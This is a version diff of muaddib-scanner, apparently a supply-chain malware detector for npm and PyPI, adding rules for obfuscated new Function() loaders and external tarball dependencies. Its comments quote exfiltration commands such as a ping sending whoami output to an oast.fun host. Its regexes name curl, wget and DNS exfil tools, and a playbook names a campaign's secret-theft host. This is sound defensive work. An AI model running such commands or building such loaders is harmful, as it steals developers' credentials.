muaddib-scanner 2.10.93 → 2.10.94

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.10.93",
3
+ "version": "2.10.94",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -63,7 +63,10 @@ const HIGH_CONFIDENCE_MALICE_TYPES = new Set([
63
63
  'function_constructor_require', // new Function.constructor("require") (RCE evasion)
64
64
  'newsletter_auto_follow', // Baileys WhatsApp newsletter hijack
65
65
  // v2.10.93: Security review 2026-04-10→17 findings
66
- 'self_destruct_eval' // dynamic exec + unlink __filename (csec anti-forensics)
66
+ 'self_destruct_eval', // dynamic exec + unlink __filename (csec anti-forensics)
67
+ // v2.10.94: MT-1 ceiling bypass for ltidi and csec under-threshold cases
68
+ 'external_tarball_dep', // dep URL = tarball on third-party host (ltidi chain)
69
+ 'function_runtime_args' // new Function('require','__dirname','__filename',...) pattern (csec)
67
70
  ]);
68
71
 
69
72
  // Lifecycle compound types that indicate real malicious intent beyond a simple postinstall
@@ -886,6 +886,16 @@ const PLAYBOOKS = {
886
886
  'CRITIQUE: Execution dynamique de code (eval/new Function/Module._compile) + auto-suppression du fichier execute (unlinkSync/renameSync sur __filename). ' +
887
887
  'Pattern anti-forensique professionnel: le malware execute son payload obfusque puis efface ses traces. Campagne csec-crypto-toolkit (avril 2026) exfiltre .env, GITHUB_TOKEN, NPM_TOKEN, AWS/SSH keys vers csec-supply-chain-attack.vercel.app, puis unlinkSync(__filename). ' +
888
888
  'Machine compromise si deja installe. Rotation immediate de TOUS les secrets (.env, tokens CI/CD, cles SSH). Verifier les .env des repertoires parents jusqu\'a 6 niveaux. Supprimer le package.',
889
+
890
+ function_runtime_args:
891
+ 'CRITIQUE: new Function() appele avec les identifiants runtime Node (require, __dirname, __filename) passes comme arguments string literal + corps dynamique. ' +
892
+ 'Pattern csec-crypto-toolkit: l\'attaquant injecte le contexte Node complet dans un payload obfusque execute en memoire, contournant la detection de require() standard. Aucun package legitime n\'utilise ce pattern. ' +
893
+ 'Lire le contenu de l\'argument body. Tracer la source (souvent XOR/base64 decode). Isoler et supprimer.',
894
+
895
+ external_tarball_dep:
896
+ 'CRITIQUE: Dependance declaree avec URL tarball (.tgz/.tar.gz) hebergee hors des registres npm legitimes (github.com, gitlab.com, bitbucket.org, registry.npmjs.org). ' +
897
+ 'Pattern ltidi chain attack (avril 2026): le stub publie sur npm n\'a aucun install hook visible, la charge utile est hebergee sur un cloud storage (GCS, S3, CDN) et contourne entierement l\'audit du registre npm. ' +
898
+ 'Verifier le contenu de la tarball distante avant toute installation. Supprimer le package. Signaler au registre npm.',
889
899
  };
890
900
 
891
901
  function getPlaybook(threatType) {
@@ -2276,6 +2276,30 @@ const RULES = {
2276
2276
  ],
2277
2277
  mitre: 'T1070.004'
2278
2278
  },
2279
+ function_runtime_args: {
2280
+ id: 'MUADDIB-AST-090',
2281
+ name: 'Function() with Runtime Identifiers as Arguments',
2282
+ severity: 'CRITICAL',
2283
+ confidence: 'high',
2284
+ description: 'new Function() appele avec des identifiants runtime (require, __dirname, __filename, module, exports, process) passes comme arguments string literal, et un corps dynamique (variable, expression). Pattern csec-crypto-toolkit: l\'attaquant injecte le contexte Node complet dans un payload obfusque execute en memoire, contournant la detection require() standard. Aucun package legitime ne passe require + __filename a new Function.',
2285
+ references: [
2286
+ 'https://attack.mitre.org/techniques/T1059.007/',
2287
+ 'https://attack.mitre.org/techniques/T1027/'
2288
+ ],
2289
+ mitre: 'T1059.007'
2290
+ },
2291
+ external_tarball_dep: {
2292
+ id: 'MUADDIB-PKG-020',
2293
+ name: 'External Tarball Dependency URL',
2294
+ severity: 'CRITICAL',
2295
+ confidence: 'high',
2296
+ description: 'Dependance declaree avec une URL tarball (.tgz/.tar.gz/.tar.bz2/.zip) hebergee hors des registres npm legitimes (github.com, gitlab.com, bitbucket.org, registry.npmjs.org, registry.yarnpkg.com). Pattern ltidi chain attack (avril 2026): le stub publie sur npm n\'a pas d\'install hook visible, la charge utile est hebergee sur un cloud storage (GCS, S3, CDN) et contourne entierement l\'audit du registre npm. Attention: MT-1 score ceiling (cap non-lifecycle a 35) bypasse via HIGH_CONFIDENCE_MALICE_TYPES.',
2297
+ references: [
2298
+ 'https://attack.mitre.org/techniques/T1195.002/',
2299
+ 'https://attack.mitre.org/techniques/T1105/'
2300
+ ],
2301
+ mitre: 'T1195.002'
2302
+ },
2279
2303
  version_99_preinstall: {
2280
2304
  id: 'MUADDIB-PKG-019',
2281
2305
  name: 'Dependency Confusion Version Indicator',
@@ -11,6 +11,35 @@ const {
11
11
 
12
12
  function handleNewExpression(node, ctx) {
13
13
  if (node.callee.type === 'Identifier' && node.callee.name === 'Function') {
14
+ // v2.10.94: detect new Function('require', '__dirname', '__filename', <dynamic>)
15
+ // csec-crypto-toolkit pattern. Gated by obfuscation signal to avoid FP on
16
+ // legitimate CommonJS module wrappers used by babel-register, ts-node, pirates,
17
+ // jest, nyc, vitest etc. which call new Function('module', 'exports', 'require',
18
+ // compiledCode). Those transpilers DO NOT have fromCharCode/base64 decode loops
19
+ // in the same file — csec does.
20
+ if (node.arguments.length >= 3) {
21
+ const RUNTIME_ARG_NAMES = new Set(['require', '__dirname', '__filename', 'module', 'exports', 'process']);
22
+ const bodyArg = node.arguments[node.arguments.length - 1];
23
+ const argNameLiterals = node.arguments.slice(0, -1)
24
+ .map(a => (a.type === 'Literal' && typeof a.value === 'string') ? a.value : null);
25
+ const runtimeArgCount = argNameLiterals.filter(v => v !== null && RUNTIME_ARG_NAMES.has(v)).length;
26
+ const bodyIsDynamic = bodyArg.type !== 'Literal';
27
+ // FP gate: require an obfuscation/decode signal in the same file.
28
+ // ctx.hasFromCharCode catches XOR/charcode loops (csec).
29
+ // ctx.hasBase64Decode catches Buffer.from(..., 'base64') patterns.
30
+ // ctx.hasZlibInflate catches zlib + base64 payloads.
31
+ const hasObfuscationContext = ctx.hasFromCharCode || ctx.hasBase64Decode || ctx.hasZlibInflate;
32
+ if (runtimeArgCount >= 2 && bodyIsDynamic && hasObfuscationContext) {
33
+ ctx.hasDynamicExec = true;
34
+ ctx.threats.push({
35
+ type: 'function_runtime_args',
36
+ severity: 'CRITICAL',
37
+ message: `new Function() passes runtime identifiers (${argNameLiterals.filter(Boolean).join(', ')}) to a dynamic body in a file containing decode/obfuscation patterns — csec-style obfuscated payload with full Node.js context.`,
38
+ file: ctx.relFile
39
+ });
40
+ return;
41
+ }
42
+ }
14
43
  // Skip string literal args — zero-risk globalThis polyfills used by every bundler
15
44
  if (!hasOnlyStringLiteralArgs(node)) {
16
45
  ctx.hasDynamicExec = true;
@@ -119,15 +119,17 @@ async function scanPackageJson(targetPath) {
119
119
  // v2.10.89: curl/wget + env/base64 exfiltration in lifecycle scripts
120
120
  // Catches: apache-arrow-14 (score 9→CRITICAL), @signals-notebook (score 9→CRITICAL)
121
121
  // Pattern: curl -d $(env|base64) URL, curl -X POST URL?env=$(env|base64 -w0)
122
+ // v2.10.94: extended to ping/nslookup/dig/host/getent — DNS exfil variants.
123
+ // Catches: koa-v3@9.4.0 which uses `ping -c 1 $(whoami).<hex>.oast.fun` instead of curl.
122
124
  if (['preinstall', 'install', 'postinstall'].includes(scriptName) &&
123
- /\b(curl|wget)\b/.test(scriptContent) &&
125
+ /\b(curl|wget|ping|nslookup|dig|host|getent)\b/.test(scriptContent) &&
124
126
  (/\$\(.*\b(env|id|whoami|uname|hostname)\b/.test(scriptContent) ||
125
127
  (/\bbase64\b/.test(scriptContent) && !/\|\s*(sh|bash)\b/.test(scriptContent)))) {
126
128
  // Exclude curl|sh which is already caught by lifecycle_shell_pipe
127
129
  threats.push({
128
130
  type: 'curl_env_exfil',
129
131
  severity: 'CRITICAL',
130
- message: `Critical: "${scriptName}" uses curl/wget with env/base64 exfiltration — credential theft via lifecycle script.`,
132
+ message: `Critical: "${scriptName}" uses DNS/HTTP exfil tool (curl/wget/ping/nslookup/dig) with env/base64 payload — credential theft via lifecycle script.`,
131
133
  file: 'package.json'
132
134
  });
133
135
  }
@@ -355,8 +357,13 @@ async function scanPackageJson(targetPath) {
355
357
  note = ' (unusual, verify source)';
356
358
  }
357
359
 
360
+ // v2.10.94: External tarball on third-party host emits a distinct type
361
+ // so MT-1 score ceiling (caps non-lifecycle, non-HC packages at 35) can be
362
+ // bypassed via HIGH_CONFIDENCE_MALICE_TYPES. ltidi stubs have no install
363
+ // hooks, so the dep URL is the only signal and must be HC-classified.
364
+ const threatType = isExternalTarball ? 'external_tarball_dep' : 'dependency_url_suspicious';
358
365
  threats.push({
359
- type: 'dependency_url_suspicious',
366
+ type: threatType,
360
367
  severity,
361
368
  message: `Dependency "${depName}" uses HTTP URL: ${depVersion}${note}`,
362
369
  file: 'package.json'
package/src/scoring.js CHANGED
@@ -118,7 +118,9 @@ const PACKAGE_LEVEL_TYPES = new Set([
118
118
  'lifecycle_missing_script',
119
119
  // v2.10.89: Security review compounds
120
120
  'lifecycle_newsletter_hijack', 'lifecycle_env_exfil',
121
- 'curl_env_exfil', 'version_99_preinstall'
121
+ 'curl_env_exfil', 'version_99_preinstall',
122
+ // v2.10.94: new package-level type for ltidi chain attack (dep URL on third-party host)
123
+ 'external_tarball_dep'
122
124
  ]);
123
125
 
124
126
  /**
@@ -254,6 +256,8 @@ const DIST_EXEMPT_TYPES = new Set([
254
256
  'curl_env_exfil', // curl/wget env exfil in lifecycle (always malicious)
255
257
  'function_constructor_require', // new Function.constructor("require") (always malicious)
256
258
  'self_destruct_eval', // dynamic exec + unlink __filename (csec anti-forensics)
259
+ 'function_runtime_args', // new Function('require','__dirname','__filename',...) + obfuscation (csec)
260
+ 'external_tarball_dep', // dep URL tarball on third-party host (ltidi chain)
257
261
  // Dangerous shell commands in dist/ are real threats, never bundler output
258
262
  'dangerous_exec',
259
263
  // Compound scoring rules — co-occurrence signals, never FP
@@ -894,6 +898,16 @@ function calculateRiskScore(deduped, intentResult) {
894
898
  if (packageScore >= 25 && packageLevelThreats.some(t => t.severity === 'CRITICAL')) {
895
899
  packageScore = Math.max(packageScore, 50);
896
900
  }
901
+ // v2.10.94: Co-occurrence floor — 2+ distinct CRITICAL package-level types (different
902
+ // threat types, not duplicates) is a near-unambiguous malware signature. Lifts to 75
903
+ // (CRITICAL tier) so the final risk level reflects real severity instead of stopping
904
+ // at HIGH. Catches apache-arrow-14 (curl_env_exfil + lifecycle_env_exfil compound).
905
+ const criticalPkgTypes = new Set(
906
+ packageLevelThreats.filter(t => t.severity === 'CRITICAL').map(t => t.type)
907
+ );
908
+ if (criticalPkgTypes.size >= 2) {
909
+ packageScore = Math.max(packageScore, 75);
910
+ }
897
911
 
898
912
  // 5. Cross-file bonus: aggregate signal from non-max files
899
913
  // A package with 3 files each scoring 20 is more suspicious than 1 file scoring 20.